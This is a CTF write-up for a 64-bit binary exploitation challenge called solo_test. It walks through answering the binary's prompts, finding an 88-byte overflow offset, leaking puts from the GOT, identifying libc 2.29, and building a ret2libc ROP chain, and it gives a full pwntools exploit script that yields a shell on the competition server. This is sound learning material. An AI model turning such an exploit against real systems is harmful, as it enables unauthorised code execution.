The one binary exploitation problem I tackled this CTF was solo_test which was a 64 bit binary. The problem seemed to be a standard problem yet it has been one of my first successful exploitations in competition and was a good learning experience.

Pwn #

Solo_test #

Let's see if you are really solo :D  
Never lie!  
nc 115.68.235.72 1337  
  
Download

Running the file, we see this is a 64 bit executable which is not stripped.

solo_test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64  
.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a9dd8736aa73681b63582f4636fd2ee3c7581152, not stripped

Running checksec, we see that NX is enabled which means we cannot execute shellcode on the stack.

Arch: amd64-64-little  
RELRO: Partial RELRO  
Stack: No canary found  
NX: NX enabled  
PIE: No PIE (0x400000)

My first step is to open the program in Ghidra and look at the main function.

  banner();
  pain1();
  pain2();
  pain3();
  pain4();
  pain5();
  solo();

Looking at the functions in the main function carefully, it seems like the functions which start with pain just need to be fulfilled by responding correctly to the question. Each of the pain functions wanted a specific answer by checking through a strncmp(local_88,some string,2);

I started my exploit script by answering all of these questions.

def getRead():  
	r.recv()  
	r.sendline("Me")  
	r.recv()  
	r.sendline("No")  
	r.recv()  
	r.sendline("CTF")  
	r.recv()  
	r.sendline("Never")  
	r.recv()  
	r.sendline("No")  
	r.recv()  
	  
getRead()

After we successfully answer the questions, we reach the solo() function.

  undefined local_58 [80];
  
  puts("\nYou passed my solo test!");
  printf("Reward --> ");
  read(0,local_58,0x200);
  return;

It is clear in this function that we have a buffer overflow. More bytes are read into the local_58 buffer than is allocated for it. Just like normal, I used pwntools cyclic function to generate a string of length 512 and sent it to the binary. By attaching GDB, I could view the register values when it crashed. I grabbed the value in RSP which is used to calculate the offset in 64 bit binary exploitation and found the offset to be 88. As I’ve gone over how do this in a previous blogpost, I won’t explain in detail how this is done.

Now we have a buffer overflow, how can we get a shell? We can achieve this through a ROP Chain and using the system function found in libc and the string “/bin/sh” found in libc. The one problem we face is that we don’t know what version of libc we are using. The challenge authors did not provide it. To overcome this, we can get a leak on a function in the GOT and search for our libc using a libc database. I chose the leak the puts function.

How do we leak the address of a function? We can call puts from the PLT and ask it to output the address of another function. This can be done using a simple ropchain. To make things simpler, I loaded the ELF for processing by pwntools by doing e = ELF("/solo_test") Now, all I need to do to get the address of puts in the GOT which could be done using e.got["puts"].

If you are new to ROP Chaining, I recommend reading this article here. My first payload uses a pop rdi; ret; gadget to setup the arguments for the puts command. Unlike 32 bit in which arguments are put onto the stack, in 64 bit, arguments must be put in the correct register. After outputting the address of where puts was in the GOT, I returned to the solo() function in order to avoid segfaulting and so I could continue my exploit after I got a leak of libc. This is my complete first payload:

payload = "A" * 88  
  
pop_rdi = p64(0x400b83)  
got_put = p64(e.got["puts"])  
plt_put = p64(e.plt["puts"])  
plt_main = p64(0x400660)  
  
payload += pop_rdi + got_put + plt_put + p64(0x4009f3)

r.sendline(payload)

By sending this to the remote server, I was able to get a leaked address. I then adjusted it and formatted it using the following.

leaked_puts = u64(r.recvline().rstrip().ljust(8, "\x00"))  
print("Leaked libc address, puts: " + str(hex(leaked_puts)))

With a leaked address in hand, I used an online libc database to identify which version of libc the remote server was using. It found that libc 2.29 was being used. I then downloaded it and loaded it for use in pwntools by writing libc = ELF("libc6_2.29-0ubuntu2_amd64.so")

After identifying the libc version, this was a standard ret2libc attack. First I calculated the libc base address.

libc.address = leaked_puts - libc.sym["puts"]  
print("Address of libc: " + str(libc.address))

The final step was to craft a ropchain using the found system and binsh in libc. This was done very easily by using pwntools.

system = p64(libc.sym["system"])  
binsh = p64(next(libc.search("/bin/sh")))  
print("System found at: " + str(hex(u64(system))) + " /bin/sh found at: " + str(hex(u64(binsh))))  
  
ret_gadget = p64(0x4005f1)  
  
payload = "A" * 88  
  
payload += ret_gadget + pop_rdi + binsh + system

r.sendline(payload)

One important note is that without the ret_gadget, my exploit would segfault. I believe this was due to a problem with the stack alignment. As I was working using the remote server and not a local copy of the binary, I wasn’t able to truly identify the cause of the segfault. However, if you are working in 64 bit and seemingly randomly segfault, try adding a ret_gadget to fix 16 bit stack alignment.

Here is a complete copy of my exploit. Once executed, this gave a shell on the system. The last step was to find the flag in /home/solo_test/flag.

from pwn import *  
  
context.binary = "solo_test"  
context.terminal = ["tmux", "split", "-h"]  
  
#r = process("./solo_test")  
r = remote("115.68.235.72", 1337)  
e = ELF("./solo_test")  
libc = ELF("libc6_2.29-0ubuntu2_amd64.so")  
  
#gdb.attach(r)  
  
def getRead():  
	r.recv()  
	r.sendline("Me")  
	r.recv()  
	r.sendline("No")  
	r.recv()  
	r.sendline("CTF")  
	r.recv()  
	r.sendline("Never")  
	r.recv()  
	r.sendline("No")  
	r.recv()  
  
getRead()  
  
payload = "A" * 88  
  
pop_rdi = p64(0x400b83)  
got_put = p64(e.got["puts"])  
plt_put = p64(e.plt["puts"])  
plt_main = p64(0x400660)  
  
payload += pop_rdi + got_put + plt_put + p64(0x4009f3)  
  
r.sendline(payload)  
r.recv()  
  
leaked_puts = u64(r.recvline().rstrip().ljust(8, "\x00"))  
print("Leaked libc address, puts: " + str(hex(leaked_puts)))  
libc.address = leaked_puts - libc.sym["puts"]  
print("Address of libc: " + str(libc.address))  
  
system = p64(libc.sym["system"])  
binsh = p64(next(libc.search("/bin/sh")))  
print("System found at: " + str(hex(u64(system))) + " /bin/sh found at: " + str(hex(u64(binsh))))  
  
ret_gadget = p64(0x4005f1)  
  
payload = "A" * 88  
  
payload += ret_gadget + pop_rdi + binsh + system  
  
r.sendline(payload)  
  
r.interactive()

Concluding thoughts on binary exploitation #

This was my first time doing a ret2libc attack in competition. It was also my first time working to find out what version of libc a binary was using. It was great to be able to sucessfully exploit a program. I also learned the importance of stack alignment and the power of just adding a ret gadget. Overall, this CTF was a great learning experience. I hope to improve my binary exploitation skills and move from the stack towards the heap in the near future.